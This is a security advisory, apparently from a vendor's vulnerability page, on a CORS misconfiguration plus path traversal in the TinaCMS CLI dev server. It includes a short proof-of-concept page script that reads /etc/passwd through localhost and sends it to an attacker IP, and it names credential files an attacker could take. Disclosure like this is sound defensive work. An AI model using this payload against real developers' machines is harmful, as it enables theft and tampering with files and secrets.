GHSA-8pw3-9m7f-q734
CRITICALTinaCMS CLI Dev Server Vulnerable to Cross-Origin File Exfiltration via CORS Misconfiguration + Path Traversal in TinaCMS
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
@tinacms/clinpmDescription
Summary
The TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer's machines by simply tricking them into visiting a malicious website while tinacms dev is running.
Details
The TinaCMS dev server sets permissive CORS headers that allow any origin to make cross-origin requests:
- packages/@tinacms/cli/src/server/server.ts:
app.use(cors());
- packages/@tinacms/cli/src/next/vite/plugins.ts:
server.middlewares.use(cors());
When combined with the path traversal vulnerability, this creates a complete attack chain.
Attack Scenario
Prerequisites
- Developer runs
tinacms dev(default port 4001) - Developer visits attacker's website while TinaCMS is running
No other conditions required - the dev server doesn't need to be:
- Exposed to the internet
- Bound to 0.0.0.0
- Accessible outside localhost
Attack Flow
- Developer starts TinaCMS:
tinacms dev - Developer browses the web (checking email, social media, etc.)
- Developer unknowingly visits attacker-controlled page (malicious ad, compromised site, etc.)
- Attacker's JavaScript exploits CORS + path traversal to read sensitive files
- Files are exfiltrated to attacker's server
PoC
Attacker's Malicious Website (evil.html):
<script>
fetch('http://localhost:4001/../../../etc/passwd')
.then(r => r.text())
.then(data => {
// Exfil via GET
const img = new Image();
img.src = 'http://192.168.11.117:8080/exfil?data=' + encodeURIComponent(data);
});
</script>
Demonstration
Step 1: Start TinaCMS dev server
tinacms dev
# Server running on http://localhost:4001
Step 2: Host evil.html on attacker server
python3 -m http.server 8000
Step 3: Developer visits http://attacker-server:8000/evil.html
Result: The browser makes cross-origin requests to localhost:4001. Because cors() returns Access-Control-Allow-Origin: *, the browser allows the JavaScript to read the responses. Directory listings from outside the media directory are sent to the attacker's server. <img width="1900" height="366" alt="image" src="https://github.com/user-attachments/assets/72fdd31d-dd93-4728-9a4b-4d7d66d33617" />
Impact
Who is affected
Every developer running tinacms dev is vulnerable while the dev server is active. No special configuration is required the default setup is exploitable.
What an attacker achieves
By hosting a malicious webpage (or injecting script via a compromised ad network, XSS on a forum, etc.), the attacker can silently:
- Enumerate the developer's filesystem directory listings via
/media/list/with path traversal reveal file and folder names across the entire filesystem - Discover sensitive files locate
.env,.git/config, SSH keys, cloud credentials, database configs - Write arbitrary files via
/media/upload/with path traversal, the attacker can overwrite project source files, inject backdoors, or modify build scripts - Delete arbitrary files via
/media/DELETE with path traversal
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @tinacms/cli | all versions | 2.1.8 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @tinacms/cli. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @tinacms/cli to 2.1.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8pw3-9m7f-q734 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-8pw3-9m7f-q734 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-8pw3-9m7f-q734. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-8pw3-9m7f-q734 in your dependencies?
O3 detects GHSA-8pw3-9m7f-q734 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.